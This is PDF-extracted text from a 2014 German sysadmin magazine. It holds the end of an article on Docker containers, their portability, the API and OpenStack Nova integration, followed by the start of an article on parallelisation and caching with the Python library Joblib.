zwischen den Paketen von mehreren<br />
Benutzern herbeizuführen: Ein<br />
Prozess innerhalb eines Namespaces<br />
kann dabei weder die Host-Interfaces<br />
noch die Interfaces in den Namespaces<br />
anderer Kunden sehen – und schon gar<br />
nicht anzapfen.<br />
Während Cgroups und Namespaces für<br />
sich genommen nette Features sind,<br />
werden sie im Team zur attraktiven<br />
Virtualisierungstechnik. Denn durch die<br />
Option, Prozesse zu kontrollierbaren<br />
Gruppen zusammenzufassen, um sie<br />
anschließend in ihren Möglichkeiten<br />
zu begrenzen, ergibt sich ein simpler,<br />
aber effektiver Container-Ansatz. Diese<br />
Funktionen bietet LXC, und <strong>Docker</strong> baut<br />
auch auf dieser Grundfunktionalität<br />
auf.<br />
Portierbare Container<br />
Hinzu kommen bei <strong>Docker</strong> allerdings<br />
viele praktische Features. Vermutlich<br />
die wichtigste Funktion sind die portierbaren<br />
Container: In <strong>Docker</strong> ist es<br />
leicht, vorhandene Container zwischen<br />
zwei Hosts umzuziehen. Purem LXC<br />
ist dieser Stunt eher zuwider: Letztlich<br />
läuft es dort auf einen manuellen Umzug<br />
der Dateien hinaus – insgesamt ein<br />
wenig komfortabler Vorgang. Obendrein<br />
hat ein Benutzer keine Garantie,<br />
dass er am Ende tatsächlich Erfolg hat:<br />
Container in „purem“ LXC sind hochgradig<br />
abhängig von der Umgebung,<br />
in der sie etwa auf System A laufen. Ist<br />
das Ziel-System B diesem nicht zumindest<br />
ähnlich, endet die Umzugsfreude,<br />
noch bevor sie angefangen hat. Problematisch<br />
sind hier diverse Faktoren<br />
wie die genutzte Distribution oder die<br />
verfügbare Hardware für den Container.<br />
Die Entwickler von <strong>Docker</strong> haben ein<br />
eigenes Container-Format konstruiert,<br />
das die Sache leichter macht: <strong>Docker</strong><br />
abstrahiert die Ressourcen, welche<br />
eine VM sieht, und kümmert sich um<br />
die Kommunikation mit dem realen<br />
System auf der anderen Seite selbst.<br />
Die Dienste, die innerhalb eines <strong>Docker</strong>-<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
92<br />
Virtualisierung<br />
<strong>Docker</strong><br />
Abbildung 2: Das <strong>Docker</strong>UI ist eines von zwei GUIs, die für den <strong>Docker</strong>-Einsatz zur Verfügung stehen.<br />
Als Alternative bietet sich …<br />
Containers laufen, sehen insofern stets<br />
das gleiche System. Will ein Benutzer<br />
nun einen Container von einem System<br />
auf ein anderes umziehen, übernimmt<br />
<strong>Docker</strong> den größten Teil der Arbeit: Der<br />
Benutzer exportiert den Container in<br />
das dafür erfundene <strong>Docker</strong>-Format,<br />
zieht die Datei auf einen anderen Rechner<br />
um, spielt den Container wieder in<br />
<strong>Docker</strong> ein, fertig.<br />
Die <strong>Docker</strong>-Philosophie<br />
Wer sich mit <strong>Docker</strong> beschäftigt, merkt<br />
schnell, dass die <strong>Docker</strong>-Entwickler offensichtlich<br />
andere Grundauffassungen<br />
bezüglich der Container vertreten, als<br />
es zum Beispiel die LXC-Verantwortlichen<br />
tun. Die <strong>Docker</strong>-Entwickler selbst<br />
bezeichnen <strong>Docker</strong> als Applikationszentrisch.<br />
Gemeint ist, dass in <strong>Docker</strong><br />
die innerhalb eines Containers laufende<br />
Applikation der wirklich wichtige<br />
Aspekt ist, nicht der Container selbst.<br />
LXC genießt ja gerade in Entwicklerkreisen<br />
Beliebtheit, weil sich ein LXC-Container<br />
relativ gut als schnell-bootender<br />
Ersatz für eine komplette virtuelle<br />
Maschine nutzen lässt. Bei <strong>Docker</strong> geht<br />
es nicht um diesen Faktor, sondern darum,<br />
dass ein Container die kleine aber<br />
feine Umwelt für nahezu jede Applikation<br />
sein kann. Vor diesem Hintergrund<br />
wird auch deutlich, was es mit dem<br />
genannten Container-Feature auf sich<br />
hat: Die Kernmotivation beim Erfinden<br />
dieses Features war die Tatsache, dass<br />
man Apps quasi als Appliances schnell<br />
von einem Host auf einen anderen umziehen<br />
können sollte.<br />
Eigenbau-Images<br />
<strong>Docker</strong> unterstützt Benutzer übrigens<br />
auch dabei, vorbereitete Container für<br />
den Export in <strong>Docker</strong> herzustellen. Ein<br />
Container ist ja im Normalfall nichts anderes<br />
als das komplette Dateisystem einer<br />
Linux-Installation; <strong>Docker</strong> bietet die<br />
Möglichkeit, jedes beliebige Verzeichnis<br />
problemlos in ein <strong>Docker</strong>-Image umzuwandeln.<br />
Wer es gerne spartanisch<br />
mag, kann sich also beispielsweise auf<br />
einem Debian- oder Ubuntu-System<br />
mittels »debootstrap« ein Mini-System<br />
aus dem Ärmel zaubern, darin die Abhängigkeiten<br />
für eine beliebige Applikation<br />
und diese selbst installieren und<br />
am Ende <strong>Docker</strong> den Ordner übergeben<br />
– fertig ist das Image, das sich beliebig<br />
verteilen lässt. Das Image-Bauen in<br />
<strong>Docker</strong> ist übrigens obendrein denkbar<br />
einfach, denn mittels des »docker«-Programms<br />
ist ein einzelner Befehl völlig<br />
ausreichend:<br />
debootstrap precise ./rootfs; U<br />
tar ‐C ./rootfs ‐c . | docker import U<br />
ubuntu/mybase<br />
Fertig ist das Image.<br />
Das Ziel: PaaS<br />
<strong>Docker</strong> passt mit seinem Funktionsportfolio<br />
sehr gut in die aktuell durch<br />
Cloud-Computing und Everythingas-a-Service-geprägte<br />
IT-Szene. Denn<br />
letztlich ist das Ziel bei <strong>Docker</strong> klar:<br />
Über vorgefertigte Container, die sich<br />
beliebig im Netz verteilen lassen, kann<br />
der Admin Platform-as-a-Service-<br />
Anwendungen leicht und komfortabel<br />
unters Volk bringen. Das PaaS-Konzept<br />
passt zu <strong>Docker</strong>, weil es ebenfalls die<br />
Applikation in den Vordergrund rückt<br />
und nicht so sehr das Betriebssystem,<br />
auf dem eben jene Applikation läuft.<br />
<strong>Docker</strong> tut genau das. Mittlerweile<br />
steht auch ein auf den Namen »<strong>Docker</strong><br />
Index« getaufter Dienst zur Verfügung<br />
(Abbildung 1), der quasi als Container-<br />
Marktplatz dient: Benutzer, die sich<br />
einen Container für bestimmte Zwecke<br />
gebaut haben, können diesen in den<br />
Index hochladen, damit er anschließend<br />
anderen Benutzern zur Verfügung<br />
steht. Die Teilnahme am <strong>Docker</strong> Index<br />
ist kostenlos, lediglich eine Registrierung<br />
wird vorausgesetzt. Die Zahl<br />
der verschiedenen Images, die sich<br />
in <strong>Docker</strong> finden, ist beeindruckend:<br />
Neben Basis-Images für praktisch alle<br />
gängigen Distributionen stehen auch<br />
spezielle Images parat, so zum Beispiel<br />
mehrere Tomcat-Images, mit denen<br />
sich quasi per Mausklick eine komplete<br />
Java-Tomcat-Instanz starten lässt.<br />
MySQL, Apache oder Drupal als fertige<br />
Plattform, sogar einige OpenStack-<br />
Komponenten: Für all das stehen<br />
bereits <strong>Docker</strong>-Images zur Verfügung,<br />
und täglich kommen neue hinzu. Das<br />
ist auch deshalb praktisch, weil es die<br />
Einstiegshürde senkt: Hat man <strong>Docker</strong><br />
erstmal installiert, dauert es bis zum<br />
ersten selbst deployten Programm<br />
nicht mehr lange.<br />
Mitgedacht: Automatischer<br />
Build<br />
Für die <strong>Docker</strong>-Entwickler endet PaaS<br />
aber offensichtlich nicht dort, wo ein<br />
Nutzer einen Container startet, um anschließend<br />
seine Applikation darin zu<br />
installieren. Denn auch diesen letzten<br />
Schritt wollen die <strong>Docker</strong>-Entwickler<br />
den Benutzern noch erleichtern: Ein<br />
automatisches Build-System ist direkt<br />
in <strong>Docker</strong> integriert und richtet sich<br />
vorrangig an die Entwickler von Programmen,<br />
die ihre App gern als <strong>Docker</strong>-<br />
Container verteilen möchten. Über<br />
die sogenannten <strong>Docker</strong>files lässt sich<br />
nämlich ebenfalls die Konfiguration eines<br />
Containers bis ins Detail festlegen.<br />
Über <strong>Docker</strong>files steht dem Entwickler<br />
anschließend die Möglichkeit zur Verfü-<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Virtualisierung<br />
<strong>Docker</strong><br />
93<br />
gung, <strong>Docker</strong>-Container automatisiert<br />
anzulegen. Das wäre beispielsweise<br />
dann von Vorteil, wenn man von der eigenen<br />
Applikation neben einer Stable-<br />
Version auch eine Snapshot-Version<br />
anbieten wollte, die sich nachts jeweils<br />
einen aktuellen GitHub-Checkout des<br />
Programms besorgt und dann daraus<br />
ein fertiges <strong>Docker</strong>-Image baut. Wer<br />
sich diese Funktion genauer ansehen<br />
mag, findet in der <strong>Docker</strong>-Dokumentation<br />
unter [1] entsprechende Details zu<br />
den <strong>Docker</strong>files.<br />
Versionskontrolle<br />
Ebenfalls ein Schmankerl für alle, die<br />
<strong>Docker</strong>-Container produktiv nutzen<br />
wollen, sind die Versioning-Features<br />
von <strong>Docker</strong>. Denn für <strong>Docker</strong> haben<br />
dessen Entwickler im Grunde einen<br />
kleinen Klon von Git implementiert,<br />
der aber auf den <strong>Docker</strong>-Betrieb spezialisiert<br />
ist. Dazu gehören viele Befehle,<br />
die in der Tat an Git erinnern: »docker<br />
commit«, »docker diff« und »docker<br />
history« sind dafür nur einige Beispiele.<br />
Diese Funktionen sorgen letztlich dafür,<br />
dass nicht für jede neue Version<br />
eines Images eine komplette Kopie der<br />
ursprünglichen Datei notwendig ist.<br />
In Abhängigkeit von den Containern<br />
würde das schließlich schnell zu Platznot<br />
führen. <strong>Docker</strong> umgeht das Problem<br />
überaus elegant, indem es quasi<br />
ein lokales „Container-Repository“<br />
führt, in das sich Änderungen jederzeit<br />
committen lassen. Über die vormals<br />
beschriebene Funktion des Automated<br />
Builds lässt sich obendrein zu jedem<br />
Zeitpunkt aus einem Image in einer bestimmten<br />
Version jederzeit wieder ein<br />
fertiges Container-File zur Weitergabe<br />
herstellen. Insgesamt ist der Umgang<br />
mit Containern also überaus elegant<br />
implementiert.<br />
Die <strong>Docker</strong>-API<br />
Eleganz kommt auch bei <strong>Docker</strong>s API<br />
zum Ausdruck: Das ist quasi eine zentrale<br />
Schalt- und Schnittstelle einer<br />
<strong>Docker</strong>-Installation, die sich über eine<br />
API nach dem ReSTful-Prinzip bedienen<br />
lässt. Sie ist im Hintergrund dafür<br />
verantwortlich, dass mittels »docker«<br />
auf der Kommandozeile eingegebene<br />
Befehle tatsächlich auch umgesetzt<br />
Abbildung 3: … Shipyard an, das ebenfalls etwas puritanisch daherkommt, aber alle wichtigen<br />
Funktionen mitbringt.<br />
werden. Sämtliche <strong>Docker</strong>-Befehle sind<br />
also letztlich verkappte API-Aufrufe, die<br />
<strong>Docker</strong>-API erledigt die echte Arbeit.<br />
Der Vorteil einer solchen Architektur<br />
liegt auf der Hand, denn mit der API<br />
als abstraktem Befehlsempfänger<br />
im Hintergrund sind der Fantasie bei<br />
der Entwicklung von Frontends kaum<br />
Grenzen gesetzt. Alle gängigen Cloud-<br />
Computing-Lösungen setzen auf ähnliche<br />
Designs, und wie bei Amazons EC2<br />
oder OpenStack hat sich das Prinzip<br />
auch bei <strong>Docker</strong> bewährt: Neben dem<br />
»docker«-Tool auf der Kommandozeile<br />
steht mittlerweile auch eine grafische<br />
Oberfläche namens <strong>Docker</strong>-UI [2] zur<br />
Verfügung (Abbildung 2). Und einen<br />
Konkurrenten dazu gibt es auch schon:<br />
Shipyard [3] buhlt ebenfalls um die<br />
Gunst der Nutzer (Abbildung 3).<br />
Cloud-Integration<br />
<strong>Docker</strong> qualifiziert sich mit seinen Fähigkeiten<br />
freilich auch für höhere Aufgaben.<br />
Wer kein vollständig virtualisiertes<br />
System benötigt, sondern lediglich<br />
Abbildung 4: Dieser Eintrag aktiviert den seit der Havana-Release in OpenStack vorhandenen<br />
<strong>Docker</strong>-Virtualisierungstreiber.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
94<br />
Virtualisierung<br />
<strong>Docker</strong><br />
Abbildung 5: Der OpenStack-Image-Dienst Glance kann nach einer kleinen Änderung der Konfiguration <strong>Docker</strong>-Container als Images verwenden.<br />
n Info<br />
einen passenden Container – beispielsweise<br />
für Entwicklungszwecke – zieht<br />
aus <strong>Docker</strong> große Vorteile. So liegt<br />
es nur nahe, <strong>Docker</strong> auch in typische<br />
Cloud- und Virtualisierungslösungen<br />
zu integrieren – und in weitere Tools<br />
und Werkzeuge, die ebenfalls im Fahrwasser<br />
der großen Cloud-Umgebungen<br />
unterwegs sind.<br />
OpenStack dominiert den Markt der<br />
Open-Source-Clouds im Augenblick<br />
ganz eindeutig, das ist auch den<br />
<strong>Docker</strong>-Entwicklern offenbar nicht<br />
entgangen. Denn die Virtualisierungskomponente<br />
von OpenStack, Nova[4],<br />
kommt mittlerweile mit Unterstützung<br />
für <strong>Docker</strong> daher.<br />
Nova ist grundsätzlich modular aufgebaut,<br />
und die Virtualisierungstechnik,<br />
die zum Einsatz kommen soll, lässt<br />
sich per Plugin aktivieren. Deshalb<br />
Weiterführende Links und<br />
Informationen zu diesem<br />
Artikel finden Sie unter:<br />
www.admin-magazin.de/qr/31564<br />
[1] <strong>Docker</strong>-Dokumentaton:<br />
[http:// docs. docker. io/ en/ latest/]<br />
[2] <strong>Docker</strong>-UI: [https:// github. com/<br />
crosbymichael/ dockerui]<br />
[3] Shipyard: [https:// github. com/ shipyard]<br />
[4] OpenStack Nova: [htp:// nova. openstack. org/]<br />
[5] Bugreport zu <strong>Docker</strong> in Nova: [https:// bugs.<br />
launchpad. net/ nova/ +bug/ 1247295]<br />
n Autor<br />
Martin Gerhard Loschwitz arbeitet als Principal Consultant<br />
bei hastexo. Er beschäftigt sich dort intensiv<br />
mit Hochverfügbarkeitslösungen und pflegt in seiner<br />
Freizeit den Linux-Cluster-Stack für Debian GNU/<br />
Linux.<br />
lässt sich über einen simplen Eintrag<br />
in »nova.conf« steuern, welche Technik<br />
die OpenStack-Komponente im Hintergrund<br />
einsetzt; zur Auswahl stehen zum<br />
Beispiel KVM, HyperV und VMware. Und<br />
neuerdings auch <strong>Docker</strong> (Abbildung 4):<br />
OpenStack startet dann im Hintergrund<br />
keine komplette VM, sondern legt einen<br />
<strong>Docker</strong>-Container an, der als virtuelles<br />
System mit eigener Funktionalität<br />
aufwartet. Die Integration von <strong>Docker</strong><br />
ist dabei nahtlos, einen Unterschied erkennt<br />
man zwischen einer mit KVM gestarteten<br />
Voll-VM und <strong>Docker</strong> zunächst<br />
nicht. Im Detail wird aber deutlich, dass<br />
qualitative Unterschiede vorhanden<br />
sind.<br />
Die hängen zum Teil mit den Anforderungen<br />
zusammen, die <strong>Docker</strong> an sich<br />
selbst stellt: Weil die Anwendung nach<br />
innen wie beschrieben stets das gleiche<br />
System präsentieren möchte, muss sie<br />
sich auf der Außenseite verbiegen. Das<br />
erfordert einen hohen Grad an Anpassbarkeit<br />
im Hinblick auf verschiedene<br />
Faktoren, zum Beispiel das Thema<br />
Netzwerk.<br />
Der <strong>Docker</strong>-Treiber in Nova unterstützt<br />
aber in der Havana-Release von<br />
OpenStack lediglich den alten Netzwerkstack<br />
»nova‐network«, der vermutlich<br />
in der übernächsten Release<br />
aus OpenStack entfernt werden wird.<br />
Ein Bug-Report in Launchpad legt den<br />
Verdacht nahe, dass es sich um einen<br />
Bug handelt, und nicht etwa um ein<br />
bewusst noch nicht implementiertes<br />
Feature [5]. Wer OpenStack mit dem<br />
zukunftsträchtigen Neutron-SDN-Stack<br />
einsetzt, schaut also vorerst ins Leere.<br />
Gerade weil <strong>Docker</strong> gerade ein echtes<br />
Hype-Thema ist, dürfte der Fehler allerdings<br />
in absehbarer Zeit korrigiert<br />
werden. Wie reif die <strong>Docker</strong>-Implementation<br />
in Nova ist, lässt sich auf diese<br />
Weise allerdings kaum beurteilen.<br />
Fazit<br />
<strong>Docker</strong> erweitert LXC um eine ganze<br />
Reihe nützlicher Features, die die Software<br />
deutlich attraktiver machen. Die<br />
Entwickler der Lösung richten <strong>Docker</strong><br />
zwar maßgeblich auf die Anforderung<br />
aus, Anwendungen im Container-<br />
Format schnell und einfach verteilen zu<br />
können, sodass sie auf jedem System<br />
sofort lauffähig sind. Doch in der Realität<br />
dürfte <strong>Docker</strong> vor allem für jene Setups<br />
interessant werden, in denen zwar<br />
Virtualisierung gewünscht ist, jedoch<br />
nicht der Overhead eines zur Gänze virtualisierten<br />
System.<br />
Hier erlaubt <strong>Docker</strong> einen attraktiven<br />
Mittelweg – es kommt ja auch nicht von<br />
ungefähr, dass die Software viele Fans<br />
hat und gerade einen ziemlichen Hype<br />
erlebt. Gerade in der Kombination mit<br />
einem schlanken OpenStack-Setup<br />
könnte sich <strong>Docker</strong> zu einem wirklich<br />
nützlichen Werkzeug für viele Aufgaben<br />
entwickeln. Viele praktische Tools<br />
bringt es dafür jedenfalls bereits jetzt<br />
mit.<br />
Allerdings müsste für ein funktionstüchtiges<br />
Setup der <strong>Docker</strong>-Treiber von<br />
OpenStack Nova einen funktionstüchtigen<br />
Zustand erreichen und sollte dabei<br />
auch keine Software aus der grauen<br />
Vorzeit voraussetzen. Wer <strong>Docker</strong> ohne<br />
Anbindung an Frameworks wie Open-<br />
Stack betreiben will, findet allerdings<br />
schon heute ein verlässliches Werkzeug.<br />
Verlässlich vor allem deshalb, weil<br />
die <strong>Docker</strong>-API sehr vielseitig ist und<br />
beispielsweise neben den bereits erwähnten<br />
Features auch eine nahtlose<br />
Anbindung an Automatisierungs-Tools<br />
wie Puppet und Chef ermöglicht. Alles<br />
in allem hat <strong>Docker</strong> also echte Chancen,<br />
Admins Darling zu werden. Einen<br />
näheren Blick ist es auf alle Fälle wert.<br />
(jcb) n<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
96<br />
Programmieren<br />
Python Joblib<br />
Galina Peshkova, 123RF<br />
Mit Joblib Python-Programme parallelisieren und memorisieren<br />
Eine Bibliothek für<br />
viele Jobs<br />
Parallelisierung, Memorization sowie Speichern und Laden von Objekten: Die Python-Bibliothek Joblib<br />
erledigt häufige Problemstellungen im Handumdrehen und lässt Programmierer damit sofort zum Kern<br />
ihrer Arbeit vordringen. Carsten Schnober<br />
In den letzten Jahren bereichern neue<br />
Programmierkonzepte die Computerwelt.<br />
Statt der Geschwindigkeit der<br />
Prozessoren nimmt in vielen Rechenzentren<br />
vielmehr deren Anzahl zu. Die<br />
parallele Verarbeitung erlaubt den<br />
Umgang mit großen Datenmengen,<br />
erfordert aber auch einen oft heiklen<br />
Übergang von traditionellen, sequenziellen<br />
Vorgehensweisen zu eigens<br />
angepassten Methoden. Die Python-<br />
Bibliothek Joblib erspart bei typischen<br />
Vorgehensweisen wie Caching und<br />
Parallelisierung viel fehlerträchtige Programmierarbeit.<br />
Manche aufwendige Aufgaben drängen<br />
sich förmlich auf für eine parallelisierte<br />
Verarbeitung. Große Datensätze, in<br />
denen jeder Eintrag voneinander unabhängig<br />
steht, lassen sich hervorragend<br />
von vielen Prozessoren gleichzeitig<br />
verarbeiten (siehe Abbildung 1). Solche<br />
für die Parallelisierung prädestinierten<br />
Aufgaben heißen auf Englisch<br />
embarrassingly parallel, zu Deutsch<br />
etwa „peinlich parallel“. Wo genau der<br />
Ausdruck herkommt, ist unklar, aber er<br />
deutet an, dass die Umwandlung eines<br />
solchen Algorithmus in eine parallelisierte<br />
Version nicht lange dauern sollte.<br />
Erfahrene Entwickler wissen andererseits,<br />
dass in der alltäglichen Programmierpraxis<br />
bei jeder Neuimplementierung<br />
mehr oder weniger große<br />
Probleme auftreten und dass man sich<br />
schnell in implementatorischen Details<br />
verzettelt. Für die umstandslose Lösung<br />
von Embarassingly-parallel-Aufgaben<br />
stellt das Modul Joblib deshalb die<br />
Klasse »Parallel« bereit. Es setzt eine<br />
beliebige Funktion voraus, die genau<br />
ein Argument entgegennimmt.<br />
Parallele Dekoration<br />
Für die Zusammenarbeit zwischen<br />
»Parallel« und der besagten Funktion,<br />
beispielsweise »f(x)«, liefert Joblib<br />
die Methode »delayed()« mit, die als<br />
Decorator dient. Listing 1 zeigt ein einfaches<br />
Beispiel mit einer Beispielimplementation<br />
von »f(x)«, die lediglich »x«<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Programmieren<br />
Python Joblib<br />
97<br />
unverändert zurückgibt. Die in Listing 1<br />
gezeigte »for«-Schleife iteriert über eine<br />
Liste »l« und übergibt die einzelnen<br />
Werte an »f(x)«, jedes Listenelement<br />
aus »l« resultiert in einem eigenen Job.<br />
Den interessantesten Teil erledigt<br />
dabei das ad hoc generierte anonyme<br />
»Parallel«-Objekt. Es verteilt die Aufrufe<br />
von »f(x)« auf die verschiedenen CPUs<br />
oder Prozessorkerne im Rechner. Wie<br />
viele es nutzt, bestimmt das Argument<br />
»n_jobs«. Standardmäßig steht es auf<br />
1, sodass Parallel nur einen Unterprozess<br />
startet. Setzt man es auf ‐1, verwendet<br />
es alle vorhandenen Prozessorkerne,<br />
bei ‐2 lässt es einen unbenutzt,<br />
bei ‐3 einen weiteren und so weiter. Alternativ<br />
nimmt »n_jobs« positive Ganzzahlen<br />
entgegen, die direkt die Anzahl<br />
zu verwendender Prozesse definiert.<br />
Der Wert von »n_jobs« darf auch über<br />
der Anzahl physisch verfügbarer Prozessorkerne<br />
liegen; die Parallel-Klasse<br />
startet einfach die per »n_jobs« definierte<br />
Anzahl von Python-Prozessen<br />
und das Betriebssystem lässt sie<br />
nebeneinander laufen. Dies bedeutet<br />
übrigens auch, dass der Austausch globaler<br />
Variablen zwischen den einzelnen<br />
Jobs unmöglich ist, denn verschiedene<br />
Betriebssystemprozesse können nicht<br />
direkt untereinander kommunizieren.<br />
Parallel umgeht diese Einschränkung,<br />
indem es die nötigen Objekte serialisiert<br />
und zwischenspeichert.<br />
Die optimale Anzahl von Prozessen<br />
hängt vor allem von der Art der zu<br />
bewältigenden Aufgaben ab. Liegt ihr<br />
Flaschenhals weniger in der Prozessorleistung<br />
als im Lesen und Schreiben<br />
von Daten auf die lokale Festplatte<br />
oder übers Netzwerk, darf die Zahl der<br />
Prozesse höher liegen; als Faustregel<br />
dient hier häufig etwa die Anzahl der<br />
vorhandenen Prozessorkerne mal 1,5.<br />
Lastet jeder Prozess hingegen eine CPU<br />
dauerhaft voll aus, sollte sie nicht über<br />
der Zahl physisch vorhandener Prozessoren<br />
liegen.<br />
Wie läuft’s?<br />
Des Weiteren bietet die Parallel-Klasse<br />
mithilfe des optionalen »verbose«-<br />
Arguments die regelmäßige Ausgabe<br />
von Statusmeldungen an, die den Gesamtfortschritt<br />
veranschaulichen. Sie<br />
Liste / Collection<br />
zeigen die Anzahl abgearbeiteter und<br />
verbleibender Jobs sowie falls möglich<br />
die geschätzte Rest- und die bereits<br />
verstrichene Zeit. »verbose« steht per<br />
Vorgabe auf 0; setzt man eine beliebige<br />
positive Zahl ein, erhöht man die<br />
Ausgabefrequenz. Dabei gilt: je höher<br />
der Wert von »verbose«, desto mehr<br />
Zwischenstufen gibt Joblib aus. Listing<br />
2 zeigt eine typische Ausgabe.<br />
Die genaue Anzahl der Zwischenberichte<br />
schwankt, weil zu Beginn der<br />
Ausführung häufig noch unklar ist, wie<br />
viele Jobs insgesamt anstehen, es handelt<br />
sich also nur um einen Näherungswert.<br />
Setzt man »verbose« auf einen<br />
Wert über 10, gibt Parallel nach jeder<br />
einzelnen Iteration den aktuellen Status<br />
aus. Außerdem bietet das Argument<br />
die Möglichkeit, die Ausgabe umzuleiten:<br />
Steht »verbose« auf einem Wert<br />
von über 50, schreibt Parallel die Statusberichte<br />
auf die Standardausgabe,<br />
liegt er darunter, verwendet er »stderr«,<br />
also den Fehlerkanal der ausführenden<br />
Shell.<br />
Als drittes, ebenfalls optionales Argument<br />
nimmt Parallel »pre_dispatch«<br />
an. Es definiert, wie viele der Jobs die<br />
Klasse sofort zur Verarbeitung einreiht.<br />
Standardmäßig lädt es direkt<br />
alle Listenelemente in den Speicher,<br />
»pre_dispatch« steht auf »'all'«. Beansprucht<br />
die Verarbeitung allerdings viel<br />
Arbeitsspeicher, bietet ein geringerer<br />
Wert eine Gelegenheit, RAM zu sparen.<br />
Dazu übergibt man hier einen positiven<br />
Integer-Wert.<br />
Multiprocessing-Modul<br />
bequem<br />
Mit der Parallel-Klasse bietet Joblib im<br />
Wesentlichen eine bequeme Schnittstelle<br />
für das zu Python gehörige Modul<br />
»multiprocessing«. Es unterstützt die<br />
gleiche Funktionalität, aber die Kombination<br />
von Parallel und »delayed()« re-<br />
01 from joblib import Parallel, delayed<br />
02 <br />
03 def f(x):<br />
04 return x<br />
05 <br />
06 l = range(5)<br />
01 Parallel(n_jobs=2, verbose=5)(delayed(f)(i) for i in l))<br />
02 <br />
Element 1<br />
Element 2<br />
Element 3<br />
Element 4<br />
Element 5<br />
Element 6<br />
Element 7<br />
...<br />
Jobs 1, 2, 4, 7, ...<br />
Jobs 3, 5, ...<br />
n Listing 2: Parallel mit Statusberichten<br />
CPU 1<br />
CPU 2<br />
n Listing 1: Joblib: embarassingly parallel<br />
07 results = Parallel(n_jobs=‐1)(delayed(f)(i) for<br />
i in l))<br />
03 [Parallel(n_jobs=2)]: Done 1 out of 181 | elapsed: 0.0s remaining: 4.5s<br />
04 [Parallel(n_jobs=2)]: Done 198 out of 1000 | elapsed: 1.2s remaining: 4.8s<br />
05 [Parallel(n_jobs=2)]: Done 399 out of 1000 | elapsed: 2.3s remaining: 3.5s<br />
06 [Parallel(n_jobs=2)]: Done 600 out of 1000 | elapsed: 3.4s remaining: 2.3s<br />
07 [Parallel(n_jobs=2)]: Done 801 out of 1000 | elapsed: 4.5s remaining: 1.1s<br />
08 [Parallel(n_jobs=2)]: Done 1000 out of 1000 | elapsed: 5.5s finished<br />
Ergebnis 1<br />
Ergebnis 2<br />
Ergebnis 3<br />
Ergebnis 4<br />
Ergebnis 5<br />
Ergebnis 6<br />
Ergebnis 7<br />
...<br />
Abbildung 1: Probleme, bei denen sich Eingabeobjekte unabhängig voneinander nebenläufig verarbeiten<br />
lassen, heißen embarassingly parallel.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
98<br />
Programmieren<br />
Python Joblib<br />
Ergebnis<br />
Modul »pickle« das Ergebnis im Python-<br />
Interpreter wieder ein:<br />
Argument(e) x<br />
für f()<br />
Memory.cache()<br />
duzieren den Implementationsaufwand<br />
einfacher Parallelisierungsaufgaben auf<br />
eine Zeile. Dazu gibt es Statusausgaben<br />
und Konfigurationsmöglichkeiten mit<br />
jeweils einem Argument.<br />
Ergebnis f(x)<br />
im Cache?<br />
nein<br />
ja<br />
Funktion f(x)<br />
Abbildung 2: Memory speichert Funktionsergebnisse ab und liefert sie bei erneuter Anfrage aus,<br />
ohne nachzurechnen.<br />
n Listing 3: Funktionsergebnisse speichern<br />
01 from joblib import Memory<br />
02 <br />
03 memory = Memory(cachedir='/tmp/example/')<br />
04 <br />
05 @memory.cache<br />
06 def f(x):<br />
07 return x<br />
Im Gedächtnis<br />
Das vorherige Beispiel bediente sich<br />
einer kleinen und praktisch sinnlosen<br />
Funktion »f(x)«. Ob parallelisiert oder<br />
nicht, manche Funktionen erledigen<br />
hingegen sehr Zeit- und Ressourcenaufwendige<br />
Berechnungen. Sind die<br />
Eingabewerte vor dem Programmstart<br />
unbekannt, verarbeitet eine solche<br />
Funktion womöglich mehrfach dieselben<br />
Argumente; möglicherweise ein<br />
unnötiger Aufwand.<br />
Es liegt bei aufwendigeren Funktionen<br />
also nahe, deren Ergebnisse abzuspeichern<br />
(Memorization). Für den Fall,<br />
dass sie mit demselben Argument<br />
aufgerufen wird, greift sie so direkt auf<br />
das Ergebnis zurück, statt es erneut<br />
auszurechnen. Auch hier greift Joblib<br />
dem Programmierer mit der Klasse<br />
»Memory« unter die Arme.<br />
Sie stellt eine Methode »cache()« bereit,<br />
die als Decorator für beliebige Funktionen<br />
mit einem oder mehreren Funktionsargumenten<br />
dient. Ergebnisse der<br />
so dekorierten Funktion speichert das<br />
Memory-Objekt dann auf der Festplatte<br />
ab; beim nächsten Aufruf prüft sie, ob<br />
das gleiche Argument oder die gleichen<br />
Argumente bereits verarbeitet wurden<br />
und liefert gegebenenfalls direkt das<br />
Ergebnis aus (Abbildung 2). Listing 3<br />
zeigt eine Implementation, wieder mit<br />
einer primitiven Beispielfunktion »f(x)«.<br />
Die berechneten Ergebnisse landen<br />
auf der Festplatte im Verzeichnis »joblib«<br />
unterhalb des mit dem Parameter<br />
»cachedir« definierten Verzeichnisses.<br />
Darin erhält jede memorisierte Funktion<br />
wieder ein eigenes Unterverzeichnis,<br />
das unter anderem in der Datei<br />
»func_code.py« den Original-Python-<br />
Quellcode der Funktion enthält.<br />
Namensgedächtnis<br />
Weiterhin steht für jedes unterschiedliche<br />
Argument – oder je nach Funktion<br />
unterschiedliche Kombinationen<br />
mehrerer Argumente – ein eigenes<br />
Unterverzeichnis zur Verfügung. Es<br />
trägt den Namen eines Hash-Werts der<br />
übergebenen Argumente und enthält<br />
zwei Dateien: »input_args.json« und<br />
»output.pkl«. Die erste offenbart die<br />
Eingabeargumente im für Menschen<br />
lesbaren JSON-Format, die zweite das<br />
zugehörige Ergebnis im binären Pickle-<br />
Format, das Python zur Serialisierung<br />
und zum Speichern von Objekten verwendet.<br />
Diese Struktur macht den Zugriff auf<br />
die von Memory zwischengespeicherten<br />
Funktionsergebnisse angenehm<br />
transparent. So liest etwa das Python-<br />
import pickle<br />
result = pickle.load(open("output.pkl"))<br />
Memory räumt am Programmende<br />
aber nicht selbstständig auf. Das heißt,<br />
dass gespeicherte Ergebnisse auch<br />
beim nächsten Programmstart weiterhin<br />
zur Verfügung stehen. Es bedeutet<br />
aber auch, dass man den Festplattenplatz<br />
bei Bedarf selbst wieder freigeben<br />
muss. Das geschieht entweder durch<br />
den Aufruf der »clear()«-Methode des<br />
verwendeten Memory-Objekts oder indem<br />
man das entsprechende Verzeichnis<br />
einfach löscht.<br />
Daneben gilt es zu beachten, dass<br />
sich Memory beim Auslesen der gespeicherten<br />
Ergebnisse ausschließlich<br />
